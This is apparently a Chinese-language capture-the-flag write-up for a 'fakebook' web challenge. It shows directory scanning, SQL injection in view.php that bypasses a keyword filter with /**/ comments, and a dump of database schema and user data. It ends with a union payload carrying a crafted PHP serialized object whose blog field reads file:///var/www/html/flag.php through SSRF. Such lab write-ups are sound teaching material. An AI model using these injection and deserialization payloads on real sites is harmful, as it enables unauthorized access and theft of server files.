一.進入實驗
1.先用 dirsearch 去掃描目錄 python dirsearch.py -u "http://111.198.29.45:33988/" -e *
根據掃描的結果我們發現了robots.txt,user.php,view.php等等,掃完之后先不急着去訪問,在進入實驗環境后,
提示讓我們注冊一個賬號,這里隨便注冊,注意一下blog的格式就行。
然后用我們注冊好的賬號進行登錄。
2.登錄后發現url 為 http://111.198.29.45:33988/view.php?no=1 ,第一時間想到是否存在sql注入,我們輸入 '
根據報錯的顯示,可以肯定存在sql注入的,然后我們用 order by 語句判斷查詢的字段數目,以便於后續進行 union 查詢,
先 輸入 1 order by 6# ,查詢失敗。
然后我們再輸入 1 order by 4 # ,此時頁面顯示正常,由此判斷查詢的字段數為4。
獲得了字段數,我們就進行union聯合查詢,嘗試輸入 1 union select 1,database(),1,1 #
頁面返回 no hack ~_~,很明顯應該是后端檢測到我們的注入關鍵詞。
這里我們猜測它檢測到的可能是 union select,我們嘗試用/**/進行繞過,
在mysql中 /**/插入到sql語句中既可以當注釋,也可以當空格,所以這里我們構造 -1 union/**/select 1,database(),1,1 #,
果然能夠繞過成功,得到當前的數據庫名為fakebook,那么我們以同樣的方法獲取其他數據:
獲取表名: -1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_schema='fakebook'#
獲取列名: -1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where table_name='users'#
這里我們重點看一下data,覺得可能有我們需要的信息: -1 union/**/select 1,data,1,1 from users #
這里發現data字段里面的值為我們開始注冊是輸入的信息,它將這些信息進行了序列化並存儲在數據庫中,然后當我們查詢的時候再反序列化顯示在前端。
3.開頭我們掃描出了 robots.txt文件,那我們就訪問看看。
再根據提示打開user.php.bak,發現了如下代碼:
通過這段代碼可以知道,這個函數會讀取blog,然后訪問它,如果訪問成功則會讀取文件的信息,否則返回404,
所以我們可以通過反序列化來實現ssrf讀取任意文件,構造我們想要的路徑,然后為了繞過正則,不從注冊登錄的地方下手,
直接人為構造聯合查詢返回語句,data字段在第四個位置。
構造如下:
view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
注冊成功后它就會顯示你注冊的賬戶信息,然后查看源碼,如下圖,點擊iframe的src屬性值即可獲得flag